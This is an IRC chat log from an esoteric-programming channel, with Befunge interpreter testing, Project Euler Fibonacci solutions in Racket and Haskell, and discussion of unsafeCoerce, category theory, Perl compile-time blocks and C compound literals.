10:52:28 <fizzie> Admittedly, it can be a costly instruction and affect overall mycology runtime, but mycology's not exactly actual production code either.
10:53:26 <fizzie> It would be good if someone were to construct a benchmark involving the kind of operations that real-world business-critical Befunge code performs.
10:56:06 <TieSoul> hrm, seems DootBot can't handle microseconds in HRTI, but when I run RubyFunge normally it does do microseconds.
10:56:06 <DootBot> TieSoul: I is it's it starter cly? FlyingMamo: looking are feedback nerf to. You me Nowi, a potatoes the the!
10:57:26 <fizzie> Sometimes that babble almost seems like a unigram model.
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11:21:44 <Jafet> It might very well be
11:24:25 <fizzie> Mostly the "the the" part, which would presumably be quite low on any bigram (or Markov-chain-with-context) thing.
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12:37:43 <TieSoul> so, erm, my funge-98 interpreter has working file IO, but Mycology says it doesn't work.
12:37:51 <TieSoul> I performed the same tests Mycology does.
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14:38:04 <HackEgo> [wiki] [[Fortob]] N http://esolangs.org/w/index.php?oldid=40360 * GermanyBoy * (+1701) Created page with "{{infobox proglang |name=Fortob |paradigms=imperative, [[:Category:Self-modifying|self-modifying]] |author=[[User:GermanyBoy]] |year=[[:Category:2014|2014]] |memsys=:Categor..."
14:38:42 <HackEgo> [wiki] [[Language list]] http://esolangs.org/w/index.php?diff=40361&oldid=40312 * GermanyBoy * (+13) /* F */ fortob
14:41:53 <fizzie> Does anyone happen to remember which language it was where there was a three-class circular thing on the top of the class hierarchy?
14:42:28 <HackEgo> [wiki] [[User:GermanyBoy]] http://esolangs.org/w/index.php?diff=40362&oldid=39990 * GermanyBoy * (+128)
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15:01:51 <J_Arcane> my brain is too tired to do functional programming right now.
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15:05:01 <boily> someone out there should publish a nice FP-lite language. (use monads with 33% less brain power!)
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15:09:16 <J_Arcane> did a couple Project Euler exercises but my solutions, while correct, were full of set!s.
15:10:02 <boily> couldn't you have used a named let?
15:11:25 <mroman_> fizzie: what "class hierarchy"?
15:11:54 <J_Arcane> Well, they were on let variables. So at least I wasn't just using a bunch of global defines.
15:13:52 <J_Arcane> par example: http://pasterack.org/pastes/61660
15:18:34 <boily> my brain is also too tired (same flu from yesterday), so I can't offer precise advice (don't even think about working one), but my feeling here is that you should put x an y directly into the fib-loop, and call the whole thing with initial values.
15:18:40 <boily> (that, or a nice recursive lambda.)
15:18:55 <boily> that should prevent the set!s for the most part.
15:19:17 <J_Arcane> Yeah. That's what the Rosetta Code example for a fib sequence does. Defines its own sub-function and then does a tail call with the new values.
15:20:22 <J_Arcane> I'm getting over something myself though, so I was just having trouble getting my brain in gear on how to even adapt it. At one point I even failed to understand the original arguments and called (fibo 4000000) ...
15:20:57 <Bike> imo linear algebra
15:21:02 <fizzie> mroman_: Perhaps "type system" would have been a better term. But it was something object-oriented, where (approximately; something like this) all "normal" classes inherit from X, which is a subclass of special class Y, which is a subclass of Z, which is again a subclass of X.
15:21:43 <Bike> you sure it was all subclassing, not instances of?
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15:24:45 <J_Arcane> Ahah. Racket let functions can indeed take arguments.
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15:31:36 <J_Arcane> Here's a bit cleaner one: http://pasterack.org/pastes/87538
15:35:07 <b_jonas> fizzie: I think ruby has some sort of circular foundation like that
15:35:13 <b_jonas> probably not literally, but close to
15:37:17 <fizzie> J_Arcane: now just make 'sum' one more argument.
15:37:51 <J_Arcane> Right! Of course. I was trying to figure out where to put that.
15:40:23 <fizzie> J_Arcane: Incidentally, every third Fibonacci number is even (and the rest are odd), and you can iterate through all the even ones reasonably simply.
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15:43:21 <fizzie> (Without explicitly computing the odd ones, I mean.)
15:43:44 <J_Arcane> http://pasterack.org/pastes/76442
15:44:37 <fizzie> That's quite reasonable. Or you could combine the first two and do (fib-loop y tmp (if (= ...) (+ sum tmp) sum)).
15:48:01 <J_Arcane> Yeah. Comes out about the same length, but less redundancy in the conditionals.
15:48:26 <J_Arcane> http://pasterack.org/pastes/91926
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15:59:01 <TieSoul> I'm thinking about making a primes fingerprint for Funge-98. Should I make that PRIM or PRME?
15:59:23 <TieSoul> Come to think of it, why does every fingerprint have four letters?
16:06:02 <elliott> Object and Kernel or whatever
16:06:39 <b_jonas> elliott: and ObjectBase or BaseObject or something
16:07:17 <b_jonas> I think Object is the superclass for most classes, ObjectBase is the superclass of Objects and a superclass of every class, and Kernel is a module mixed into ObjectBase
16:07:23 <b_jonas> but there might be a fourth one
16:09:36 <b_jonas> and that's not eevn the strangest part of ruby
16:09:45 <b_jonas> it's complicated and I never really bothered to understand all the rules
16:12:51 <J_Arcane> Hah! This is neat. http://pasterack.org/pastes/4837
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16:20:06 <Bike> i'm tellin ya. [[0 1][1 1]]^1000 * [0 1], done
16:35:26 <J_Arcane> I'm not sure how to turn that into a solution for the problem though, I only barely understand how Lazy Racket or that code snippet works.
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16:44:18 <Bike> it's basically just a literal translation of the easy definition of the fibonacci numbers. "the fibonacci numbers are 1, 1, and then the sums of each fibonacci number with the next"
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16:47:13 <tswett> So, I need a job, or something job-like I can put on a resume.
16:48:04 <tswett> My mathematical talents are pretty nice.
16:48:09 <tswett> That's an option, yup.
16:48:47 <tswett> But guy-who-is-good-at-math isn't a position that companies seem to be hiring a lot of.
16:50:05 <J_Arcane> Bike: that's about what I figured. I think maybe a higher-order function might be needed to get specific values out of it, but I'm not sure how you would safely short-circuit it.
16:50:33 <Bike> J_Arcane: so you don't just need a value? i forget how this euler problem goes
16:50:42 <Bike> is it a sum of even entries or some shit
16:50:55 <J_Arcane> Bike: sum of all even values of the sequence under 4 million.
16:53:41 <Bike> (let ([sum 0] [switch #t]) (let/cc escape (map (lambda (x) (unless (< x 4e6) (escape sum)) (when switch (set! sum (+ sum x))) (set! switch (not switch))) fib)))
16:53:44 <Bike> n.b. i do not know racket
16:53:55 <Bike> also, this is slow as fuck, but you knew that
16:54:30 <Bike> tswett: be a quant clearly
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16:55:18 <J_Arcane> Yeah, I think the trouble is it's Lazy Racket, which has a more limited set of functions. It can call standard Racket functions, but it won't necessarily work (for instance, you can't call for/sum on the list, because it's not a list per se, it's a 'promise' of a list)
16:55:51 <Bike> no overloading? boo.
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17:08:25 <J_Arcane> Apparently you can force a list with (!!) but I'm not sure if that would be correct here.
17:10:42 <J_Arcane> Yeah, that just makes an infinite loop, obc.
17:32:22 <fizzie> > let fibs = 1:1:zipWith (+) fibs (tail fibs) in sum . filter even . takeWhile (<4000000) $ fibs -- obligatory "fibs" thing
17:35:23 <fizzie> > let evenFibs = 0:2:zipWith (+) evenFibs ((4*) <$> tail evenFibs) in sum . takeWhile (<4000000) $ evenFibs -- or with math(tm)
17:36:37 <fizzie> Based on F_{3n} = 4*F_{3(n-1)} + F_{3(n-2)}, OEIS A014445.
17:46:17 <HackEgo> [wiki] [[Fortob]] http://esolangs.org/w/index.php?diff=40363&oldid=40360 * GermanyBoy * (+1531) /* Command reference */ new section
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17:46:58 <HackEgo> [wiki] [[Fortob]] http://esolangs.org/w/index.php?diff=40364&oldid=40363 * GermanyBoy * (+7) /* Number from 0 to 9 */ renamed
17:47:08 <Bike> > let fibs = 1:1:zipWith (+) fibs (tail fibs) in findIndex (>4000000) fibs
17:48:09 <Bike> > let fibs = 1:1:zipWith (+) fibs (tail fibs) in (fibs !! 34) - 1 -- lessee
17:48:17 <Bike> > let fibs = 1:1:zipWith (+) fibs (tail fibs) in (fibs !! 33) - 1
17:48:24 <Bike> > let fibs = 1:1:zipWith (+) fibs (tail fibs) in (fibs !! 33)
17:48:33 <Bike> > let fibs = 1:1:zipWith (+) fibs (tail fibs) in (fibs !! 32)
17:49:23 <Bike> > let fibs = 0:1:zipWith (+) fibs (tail fibs) in (fibs !! 32)
17:49:27 <Bike> > let fibs = 0:1:zipWith (+) fibs (tail fibs) in (fibs !! 33)
17:49:31 <Bike> > let fibs = 0:1:zipWith (+) fibs (tail fibs) in (fibs !! 34)
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18:16:51 <HackEgo> [wiki] [[Fortob]] http://esolangs.org/w/index.php?diff=40365&oldid=40364 * GermanyBoy * (+1431) /* Method reference */ new section
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18:41:15 <HackEgo> [wiki] [[Template:Infobox proglang]] http://esolangs.org/w/index.php?diff=40366&oldid=40084 * GermanyBoy * (+100) influenced
18:44:34 <HackEgo> [wiki] [[Template:Infobox proglang]] http://esolangs.org/w/index.php?diff=40367&oldid=40366 * GermanyBoy * (+376) align
18:44:46 <HackEgo> [wiki] [[Forobj]] http://esolangs.org/w/index.php?diff=40368&oldid=40211 * GermanyBoy * (+95) fortob
18:52:21 <HackEgo> [wiki] [[Template:Infobox proglang]] http://esolangs.org/w/index.php?diff=40369&oldid=40367 * GermanyBoy * (+280) more align
18:56:46 <HackEgo> [wiki] [[Template:Infobox proglang]] http://esolangs.org/w/index.php?diff=40370&oldid=40369 * GermanyBoy * (+131) links
18:57:20 <HackEgo> [wiki] [[Template:Infobox proglang]] http://esolangs.org/w/index.php?diff=40371&oldid=40370 * GermanyBoy * (+1) correction
18:59:35 <Melvar> ( :let fibs = 0 :: 1 :: [| fibs + tail fibs |]
18:59:35 <idris-bot> (input):1:26:When elaborating an application of function Prelude.Applicative.<$>:
18:59:48 <Melvar> ( :let fibs : Stream Nat; fibs = 0 :: 1 :: [| fibs + tail fibs |]
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21:46:16 <fizzie> That's curious, I took a photo of a flower (or a piece of vegetation, anyway) and somehow it turned out to look a lot like some stock desktop background image, except for the vertical aspect ratio: https://dl.dropboxusercontent.com/u/113389132/Misc/20140830-bg.jpg
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21:47:48 <fizzie> My phone is more or less landscape-only, so I didn't even think of that.
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22:04:22 <oerjan> @tell Sgeo_ <Sgeo_> Would I be wrong in suspecting it's the traversal that forces the Traversable to be a specific instance? <-- it is type inference, it can be forced from whatever needs it to be a specific type, or it can sometimes be unambiguous in which case you may need type annotation.
22:05:08 <ais523> oerjan: being /unambiguous/ means you need the annotation?
22:05:21 <oerjan> @tell Sgeo_ *ambiguous
22:05:33 <ais523> at least idris-bot stopped outputting several lines of errors if you asked it what 6 was
22:05:37 <ais523> because of all the possible 6s you could mean
22:05:44 <fungot> Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-bot ( , jconn ) , blsqbot !
22:05:56 <ais523> now it just picks an appropriate type
22:06:27 <Melvar> I’m pretty sure it’s had Num defaulting all the time.
22:06:46 <oerjan> well haskell has a defaulting rule (default (Integer, Double)), presumably idris has something similar
22:08:49 <idris-bot> When elaborating an application of constructor __infer:
22:08:49 <idris-bot> Can't disambiguate name: Prelude.Classes.+, Prelude.Fin.+
22:08:56 <Melvar> Fractional literals aren’t overloaded yet, so the only default is Integer.
22:09:10 <ais523> what was it that produced the huge lists of ambiguity?
22:09:35 <idris-bot> When elaborating an application of constructor __infer:
22:09:35 <idris-bot> Can't disambiguate name: Effects.Env.Nil, Data.HVect.Nil, Prelude.List.Nil, Data.Vect.Quantifiers.Nil, Prelude.Vect.Nil
22:09:53 <ais523> even that isn't that bad nowadays
22:09:55 <idris-bot> When elaborating an application of constructor __infer:
22:09:55 <idris-bot> Can't disambiguate name: Effects.Env.::, Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.::
22:15:09 -!- Phantom_Hoover has quit (Ping timeout: 255 seconds).
22:16:07 <Sgeo_> oerjan: but a pure profunctor lens cannot specify which incoming profunctor it's being given, that's forced upon it
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22:18:39 <oerjan> well right, but you were asking about Traversable and traversal
22:19:08 <oerjan> remember that traverse is a traversal which is entirely polymorphic in its Traversable, so if you use that the information _cannot_ be coming from it
22:19:50 <oerjan> but it's still one of the most useful ones
22:20:10 <Sgeo_> But can I write traversals which are specialized for a specific traversable? What traversal gets used for both?
22:20:14 <lambdabot> (Data.Bitraversable.Bitraversable r, Applicative f) => (a -> f b) -> r a a -> f (r b b)
22:20:36 <Sgeo_> :t toListOf both (1,2)
22:20:40 <oerjan> "traversals" don't need to have any Traversable involved at all, they're a generalization of Traversables
22:21:02 <Sgeo_> :t toListOf both (1,'a')
22:21:03 <lambdabot> No instance for (Num Char) arising from the literal ‘1’
22:21:04 <lambdabot> In the second argument of ‘toListOf’, namely ‘(1, 'a')’
22:21:15 <shachaf> what are you even doing Sgeo_
22:21:58 <Sgeo_> Trying to figure out how to get traversals into my mental model of how to do this stuff using pure profunctors in a dynamically typed language
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22:24:16 <oerjan> the most common Bitraversable instance would be (,), presumably.
22:25:56 <lambdabot> Over p f s t a b -> p a (f b) -> s -> f t
22:26:47 <oerjan> oh well as if i have any idea
22:28:06 <lambdabot> copumpkin says: holy shit, I'm unsafeCoerce
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22:28:45 <lambdabot> int-e says: What, unsafeCoerce# is kind-preserving? how boring :/
22:29:13 <ais523> how many languages /don't/ have an unsafeCoerce equivalent?
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22:30:06 <ais523> (of all these languages, the only ones I feel should be allowed to get away with it are C, C++, and Rust, incidentally; C and Rust because reinterpreting sections of random memory is actually something the languages need to be able to do for their intended purpose, and C++ because it wants to be compatible with C)
22:30:09 <Bicyclidine> depends on what you're willing to consider equivalence, i say
22:30:35 <int-e> hmm, what about prolog? (I don't know)
22:30:51 <shachaf> ais523: Why is it justified for Rust and not (directly) for C++?
22:31:43 <ais523> shachaf: because the set of common uses for C++ is different from the set of common uses for C
22:31:50 <int-e> ais523: The question is open to interpretation. Does any language with a C FFI have an equivalent of unsafeCoerce in your view?
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22:32:11 <ais523> int-e: Prolog isn't typed; the closest thing it has to unsafeCoerce is =.., which is awesome
22:32:21 <ais523> defined as [a,b,c] =.. a(b,c)
22:32:38 <ais523> this means that anything expressible in Prolog can be converted to lists of atoms
22:32:57 <ais523> (and there are other ways to convert atoms to and from lists)
22:33:14 <ais523> I guess it's not technically the same as reinterpreting memory, but it does have a way to cast anything to anything else
22:33:22 <ais523> (btw, I might have got the arguments to =.. backwards)
22:33:40 <int-e> oh it's a single level expression-to-sexpression operator.
22:34:02 <int-e> (and vice versa, I supppose, this being prolog)
22:34:55 <ais523> I remember seeing a Prolog-to-C FFI where you had to define a different C function for each possible combination of inputs and outputs the function accepted
22:35:13 <shachaf> ais523: Yes, but I asked about Rust.
22:36:00 <ais523> shachaf: in Rust, you can only use it inside unsafe{} blocks, whose purpose is to do low-level bit twiddling
22:36:06 <int-e> shachaf: btw that quote predates datakinds by several years.
22:36:15 <ais523> in particular, they often get the memory from elsewhere, where it's a u8* (that is, unsafe pointer to byte)
22:36:25 <oerjan> ais523: in haskell the accepted use of unsafeCoerce is when _you_ know the values _are_ the same type, but you don't have a way to get the type system to realize it.
22:36:30 <ais523> and being able to transmute that is very helpful if the actual type of the data is wrong
22:37:05 <ais523> oerjan: that seems like an unsafe operation even if you know it's safe, because if the compiler thinks the two expressions have different types, it might represent them differently in memory
22:38:26 <oerjan> ais523: you can only use unsafeCoerce on boxed types, which are essentially pointers.
22:38:57 <ais523> oerjan: represent the things they point to differently in memory, then
22:39:41 <int-e> oerjan: my favourite use is for reifying single-method class dictionaries, converting between Foo a => b and Foo_method_type a -> b, where Foo is a single method class. That's completely implementation-dependent, of course.
22:40:47 <oerjan> ais523: the Any type exists for that purpose, as a type that's guaranteed not to do anything unsafe with the pointer it contains.
22:41:02 <ais523> so it basically just copies the pointer around?
22:41:20 <ais523> even then, what if whatever it's pointing to gets deallocated? or do all types have identical GC properties?
22:41:29 <int-e> there's also the conversion between newtype and its base type, but the representation aware "coerce" should mostly take over there.
22:41:50 <oerjan> ais523: all types have a representation that includes enough information for the GC
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22:42:09 <oerjan> this is for ghc of course.
22:42:10 <ais523> oerjan: and that representation is stored in memory, rather than just being a property of the type?
22:42:36 <zzo38> I think the built-in types with # don't do any garbage collection, but they have a different kind anyways
22:42:38 <ais523> int-e: I'm reasonably annoyed with OCaml because I've actually had to start using :>
22:42:57 <ais523> which is basically a hint to the type-checker that tells it where to convert something from one type to another
22:43:30 <ais523> e.g. you can use :> to cast something from [`Foo | `Bar] to [`Foo | `Bar | `Baz], which is obviously a safe conversion, and something that the type checker can sometimes figure out itself but can't always
22:43:40 <oerjan> ais523: yes, see https://ghc.haskell.org/trac/ghc/wiki/Commentary/Rts/Storage/HeapObjects#HeapObjects
22:44:00 <zzo38> Of course unsafeCoerce can be useful when the way the types are used cannot be expressed
22:44:09 <int-e> zzo38: beware, there are too many # things, some of those are garbage collected
22:44:18 <ais523> this reminds me of OCaml, which basically reserves one bit of every word to mean "this is a pointer"
22:44:24 <ais523> so that the GC doesn't need to know anything about the type system to work
22:44:48 <ais523> I'm not sure how it handles unboxed floats and the like, which might potentially have the bit set incorrectly
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22:46:00 <zzo38> Can unsafe{} blocks be useful for optimization too rather than only to indicate that it is using low-level bit twiddling?
22:46:19 <int-e> zzo38: they often come with another interesting assumption though: for example, an Array# value is never an indirection.
22:46:54 <ais523> zzo38: yes, normally in situations where you know an optimization is safe but the compiler doesn't
22:49:46 <elliott> ais523: ocaml floats are all boxed I think
22:51:31 <ais523> elliott: there has to be a box /somewhere/, but you can form unboxed arrays of floats which just store them all consecutively
22:51:47 <elliott> ais523: the GC must treat arrays differently
22:51:51 <elliott> how else would it know when to stop scanning?
22:51:59 <ais523> however, I think you might only be able to manipulate it through accessor functions which presumably have special GC propreties
22:52:04 <ais523> and yes, there has to be a special case there
22:53:40 <oerjan> ais523: also what i'm saying applies to ghc. the unsafeCoerce documentation has a note that "•In nhc98, the only representation-safe coercions are between Enum types with the same range (e.g. Int, Int32, Char, Word32), or between a newtype and the type that it wraps."
22:54:03 <oerjan> so presumably that compiler _does_ use varying representations.
22:55:12 <oerjan> although i suppose even there it would be safe to convert from a type to itself even if the compiler doesn't know at that point they're identical
22:58:28 <ais523> I find it relatively hard to imagine a type system in which two types can be identical without looking identical
22:58:50 <ais523> is the situation where you have a function along the lines of a -> b -> a except you know that b always has the same type as a in practice?
22:59:05 <oerjan> yeah things like that.
22:59:15 <Melvar> ( \n => Vect (n + 0) Integer
22:59:15 <idris-bot> \n => Vect (plus n 0) Integer : Nat -> Type
22:59:32 <oerjan> http://www.haskell.org/ghc/docs/latest/html/libraries/ghc-prim-0.3.1.0/GHC-Prim.html#v:unsafeCoerce-35-
22:59:41 <ais523> Melvar: \ => is a lambda?
23:01:04 <Melvar> (Vect (n + 0) a) doesn’t unify with (Vect n a) even though it is the same type. In this case however one can prove they are the same and use the proof to convert them.
23:01:32 <ais523> Melvar: but you're using dependent typing, where determining whether two types are the same is uncomputable
23:01:47 <ais523> that said, even in much simpler languages, it can be difficult
23:02:09 <Melvar> Yeah, it’s “a type system in which two types can be identical without looking identical”, as you said.
23:02:11 <ais523> here's a trick question: in an Algol-like language, are (a, b) -> c and a -> (b -> c) the same type?
23:02:23 <ais523> Melvar: dependent typing is cheating for type system questions :-)
23:02:41 <ais523> (the reason it's a trick question is that you can write several chapters on the subject; it's a major part of my PHD thesis)
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23:03:08 <ais523> (and the main reason is because I used the syntax "(a, b)" without defining it, and there are at least two reasonable definitions)
23:07:27 <oerjan> ais523: one use of unsafeCoerce i remember is when elliott hacked together (on my suggestion, but i did _not_ suggest he implement it that way) a combination of Data.Sequence (essentially, finger tree based deques) with Data.Thrist (a form of list where the elements are _not_ the same type, but each is connected to the next like category composition)
23:08:21 <oerjan> he simply took the original Data.Sequence implementation and sprinkled it with unsafeCoerce in the right places so that he could use Any as the underlying type and just convert back and forth.
23:08:31 <shachaf> that reminds me of http://homepages.cwi.nl/~ploeg/papers/zseq.pdf
23:08:36 <shachaf> which i haven't actually read yet
23:09:09 <oerjan> you _could_ obviously implement that structure without unsafeCoerce, but it would have required defining entirely new data types and changing all of Data.Sequence to use them.
23:10:42 <oerjan> wait, he did not sprinkle unsafeCoerce _in_ the Data.Sequence implementation
23:10:57 <oerjan> he made a thin wrapper around it with such sprinkling.
23:11:18 <Melvar> oerjan: Why is it called Thrist? It seems to be the reflexive-transitive closure operator.
23:11:28 <oerjan> Melvar: threaded list, i assume
23:11:51 <shachaf> it seems to be the free category on a graph
23:12:49 <oerjan> i assume it would have been called FreeSomething if invented these days.
23:12:50 <shachaf> reflexive-transitive is the sort of thing i'd associate with relations, but you can have distinct values :: K A B
23:15:19 <oerjan> thrist is to category as list is to monoid.
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23:19:30 <shachaf> thrist isn't a free category on/over (what's the word?) a set
23:19:39 <Melvar> A Category looks exactly like a Preorder on Type.
23:23:01 <oerjan> a preorder is the same as a skeleton category iirc
23:23:27 <shachaf> no, a skeleton makes a preorder into a partial order
23:23:59 <shachaf> a preorder is a category with at most one arrow : A -> B for each A and B
23:27:11 <Melvar> What, you actually restrict that?
23:27:14 <ais523> shachaf: well, that's sort-of twisting the definition of category to some extent
23:27:26 <ais523> the category axioms basically just give you reflexivity and transitivity there
23:28:23 <ais523> shachaf: well the idea of a category is that it's very general
23:28:33 <ais523> so yes, you can fit a preorder into the categorical framework
23:28:40 <ais523> but that's because you can fit almost /anything/ into a categorical framework
23:28:59 <shachaf> i was responding to 16:23 <oerjan> a preorder is the same as a skeleton category iirc
23:29:20 <int-e> a set is a category with only identity morphisms
23:29:30 <shachaf> anyway that's not really true
23:29:39 <ais523> int-e: a monoid is a category with one object
23:29:49 <oerjan> and i was responding (wrongly) to Melvar
23:29:49 <shachaf> there aren't that many algebraic structures that can be expressed directly as a category like that
23:30:05 <shachaf> a category is in a useful/interesting way a generalization of a monoid and of a preorder
23:30:06 <ais523> conclusion: something that is both a monoid and a set has one element, with no useful operations
23:30:21 <shachaf> (and of a set, because preorders are sets)
23:30:58 <ais523> for what I do at work, the main categorical structures I care about are those where objects can be interpreted as types, and morphisms as functions
23:31:00 <shachaf> but a category isn't a generalization of a ring or what-have-you
23:31:21 <ais523> shachaf: I know I've had to convert semirings to categories at my job
23:31:26 <oerjan> ais523: well that's the usual Hask category
23:31:28 <ais523> they still work fine as categories, you just need side conditions
23:31:34 <ais523> oerjan: it describes a large range of categories
23:31:35 <shachaf> you can talk about a category *of* rings or whatever structures you have but that's not the same thing
23:31:46 <ais523> even the subset of categories that work vaguely like type systems is pretty large and useful
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23:44:58 <zzo38> This quotation was found on Lambda the Ultimate: "Seriously now, I don't think such bloated languages are needed. What is needed is a programming language that is assembly, has nice S-expression syntax, and can also be 'executed' in compile-time. Then all other constructs can be made with this basic mechanism."
23:45:14 <zzo38> Well, I think, being 'executed' in compile-time is one of the main features of Forth.
23:45:32 <ais523> it's also one of the main features of Perl
23:45:52 <ais523> although Perl is unusual in that it switches between compiling and running frequently, on the fly
23:46:20 <ais523> there is the syntax BEGIN { ... } which tells the compiler to, as soon as it finishes compiling the inside of the BEGIN block, to run it
23:46:23 <ais523> before it goes back to compiling
23:46:35 <ais523> and eval allows you to invoke the compiler at runtime
23:46:38 <zzo38> O, that's what it does?
23:46:52 <zzo38> Bicyclidine: What is Forth with quotation?
23:46:56 <Bicyclidine> common lisp has something like begin, with the notoriously bizarre eval-when operator
23:47:12 <Bicyclidine> zzo38: the assembly with "nice" syntax bla bla bla
23:47:38 <ais523> zzo38: yes, this means that a begin block can control the way that subsequent code is compiled, for instance
23:49:16 <Melvar> In idris, evaluation is needed for typechecking, and providers allow you to execute IO actions whose results can be used in typechecking.
23:50:36 <Bicyclidine> i have a lisp implementation i should finish that will ideally allow a slightly more usable version of sbcl's "define compiler intrinsics at runtime" stuff, but, dumb
23:50:48 <zzo38> Melvar: O, I didn't know it is possible to tamper with the typechecking in idris, but I suppose yes it can help
23:51:42 <ais523> zzo38: given that you didn't know what BEGIN does, I should probably explain "use", too; "use Foo::Bar;" is basically a synonym for "begin { require "Foo/Bar.pm"; Foo::Bar->import() } " except that IIRC it's a little cleverer about locating the file to import
23:52:03 <ais523> this sort of thing explains how syntax like "use constant" works, and why it starts with use
23:52:13 <ais523> there's a file constant.pm which injects constants into your namespace when you import it
23:52:15 <Bicyclidine> haa, it really is like CL, that's hilarious
23:52:47 <ais523> (in general, the "import" function's purpose is to inject stuff into its caller's namespace)
23:53:43 <b_jonas> and let me note that ruby specifically does not have this kind of escape from compile time to runtime, the BEGIN keyword in ruby runs a block early at runtime like perl's UNITCHECK, though of course ruby has an eval function to compile stuff at runtime
23:54:21 <b_jonas> ais523: as for a different note, I borrowed this classic book Aho, Ullman, "The Theory of Parsing, Translation and Compiling" (1972) which does seem like the book about formal languages I wanted
23:54:31 <ais523> actually, what shocked me more was discovering what syntax like "\ 4" does (that means "a reference to 4", sort-of like writing &4 in C)
23:54:49 <ais523> the reference is actually to the 4 in the parse tree of the compiled code
23:54:50 <zzo38> From what I have seen of Perl programs, it also requires that the included file returns 1 at the end.
23:55:04 <ais523> it's a read-only reference, so the fact doesn't matter, but I still think it's ridiculous
23:55:24 <b_jonas> ais523: yes it is. perl is full of crazy historical cruft like that that can't be changed now
23:55:24 <ais523> zzo38: "require" errors out if the required file doesn't evaluate to a truthy value
23:55:35 <ais523> any truthy value can be used, but 1 is traditional
23:56:07 <ais523> b_jonas: well, it's useful syntax, and thinking about it, there's no particular reason /not/ to do it like that
23:56:18 <ais523> you need a read-only copy of 4 to take a reference to
23:56:21 <ais523> and look, you have one already
23:56:52 <zzo38> ais523: Is that so that you can make the program to check if it is unusable and to have other files to read the return value to see if it is OK before continuing?
23:56:52 <Bicyclidine> the reference is actually to the 4 in the parse tree of the compiled code <- man that's almost as good as the regex introspect thing
23:57:14 <ais523> zzo38: yes, it's so that you have a way to signal that something went wrong
23:57:38 <ais523> nor in C++ (just learned that one today)
23:57:50 <ais523> however, in modern C, you can take pointers to struct literals
23:57:55 <Bicyclidine> yesterday i learned that you can declare variables in if expressions in C++. i don't get C++'s deal
23:58:10 <ais523> Bicyclidine: huh, wonder if that works in C
23:58:20 <ais523> there are a couple of points in NetHack where that actually seems useful
23:58:20 <b_jonas> ais523: it does these days in C99 or C11, yes
23:58:35 <b_jonas> ais523: it's quite useful for for statements especially,
23:58:40 <ais523> although I guess you only get the one assignment
23:58:43 <ais523> b_jonas: obviously it's useful for for
23:58:47 <b_jonas> even if the syntax is just a limited shortcut
23:59:03 <Bicyclidine> ais523: the scope is to the rest of the if statement, you can reassign it
23:59:15 <ais523> Bicyclidine: oh right, for some reason I thought it'd only be for the conditional
23:59:17 <elliott> Bicyclidine: it's nice to stop iteration variables leaking up to the scope of the caller
23:59:40 <ais523> but NetHack's full of stuff like if (((x = accessor_that_might_return_NULL)) && x->foo())
23:59:46 <ais523> err, remove the parens
23:59:51 <ais523> if (((x = accessor_that_might_return_NULL)) && x->foo)
23:59:57 <ais523> if (((x = accessor_that_might_return_NULL())) && x->foo)
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00:00:21 <ais523> it would be great if you could write that as "if (((int x = accessor_that_might_return_NULL())) && x->foo)" because x isn't used elsewhere
00:00:23 <b_jonas> ais523: well yeah, nethack is written in ancient C originally, the kind where you had to declare all variables at the beginning of blocks, you couldn't even mix declaratios with statements without adding braces
00:00:31 <ais523> it would be great if you could write that as "if (((struct bar x = accessor_that_might_return_NULL())) && x->foo)" because x isn't used elsewhere
00:00:38 <zzo38> I know in BASIC it will automatically make a pointer to a constant or expression result if you pass such a thing to a subroutine with the parameter declared by references.
00:00:46 <elliott> ais523: if (({ struct bar x = blah(); x && x->foo })))
00:00:50 <ais523> int-e: it's a common C idiom to say "yes I meant to write = not == even though this looks like a conditional"
00:01:02 <ais523> most compilers understand it nowadays, and the code is still correct even in compilers that don't
00:01:13 <ais523> useful for humans reading the code, too
00:02:53 <ais523> many people reflex-correct if (x = y) to if (x == y); people are unlikely to make the same change to if ((x = y))
00:03:11 <int-e> ais523: hmm. ok. gcc usually seems to be happy with just one pair of parentheses.
00:03:23 <ais523> int-e: it varies between compiler
00:03:33 <Bicyclidine> i think with -Wall gcc suggests adding the parens, actually
00:03:36 <int-e> if ((x = accessor_that_might_return_NULL()) && x->foo)
00:03:40 <ais523> I prefer the double pair because it's more informative for humans
00:04:24 <int-e> (being satisfied with just a single pair of parentheses is a bit odd, admittedly, given the precedences of =, == and &&)
00:04:42 <ais523> elliott: so long as you don't use four
00:05:03 <ais523> Bicyclidine: Radixal!!!! begs to differ with you
00:05:14 <ais523> we put four exclamation marks in the name of that language just because it was the smallest number we couldn't otherwise justify
00:05:22 <Bicyclidine> radixal!!!! can fuck itself if it's not down with the four
00:05:43 <int-e> Bicyclidine: https://en.wikipedia.org/wiki/Numbers_in_Chinese_culture#Four
00:06:47 <int-e> nice way of offending almost 20% of the world's population.
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00:34:34 <zzo38> A Forth-based compiler could have an intermediate code which is tha used in the Forth system, and using the executable intermediate code, once it is finished it analyze it to generate the target code.
00:40:00 <fizzie> ais523: If not "int x", certainly not "struct bar x" either; it's no more pointery or applicable to ->.
00:40:33 <ais523> this is what happens when you try to write examples without an actual program in mind and without a typechecker to help you
00:43:16 <fizzie> Fun fact: compound literals are lvalues, so you can write (int){ 1 } = 2; -- not that it's particularly useful.
00:44:13 <b_jonas> fizzie: can you clarify what language dialect you mean for that?
00:44:39 <fizzie> C11 at least, but I assume it hasn't changed from C99.
00:45:12 <ais523> fizzie: they're lvalues so you can take pointers to them, presumably
00:45:48 <ais523> fizzie: I assume (int){ 1 } = 2 is legal but has no visible effect? and (volatile int){ 1 } = 2 is forced to write a 2 to a memory location that previously contained a 1, but has no other effect?
00:48:33 <fizzie> Another intersting tidbit is that compound literals qualified with const are explicitly allowed to not be distinct.
00:48:50 <Bike> isn't that the whole point of const
00:48:53 * ais523 compiles "int main(void) { (volatile int){1} = 2; return 0; }"
00:48:59 <Bike> well. part of it
00:49:00 <ais523> it does indeed pick a memory address, and write 1 and 2 to it
00:49:03 <ais523> let me try with optimization
00:49:15 <ais523> huh, it optimized it out entirely
00:49:41 <b_jonas> ais523: try with a real variable?
00:49:51 <b_jonas> ais523: and are you compiling as C or as C++?
00:50:12 <b_jonas> oh yeah, has to be C, that partiular thing you wrote is probably a syntax error in C++
00:50:28 <ais523> b_jonas: with a real variable, it does indeed assign 1 and 2 to a memory address on the stack
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00:52:05 <Bike> why would it be a bug? you can't do anything with the literal
00:53:33 <ais523> Bike: "volatile" means that you have to do all the actual reads and writes to the memory address at some point
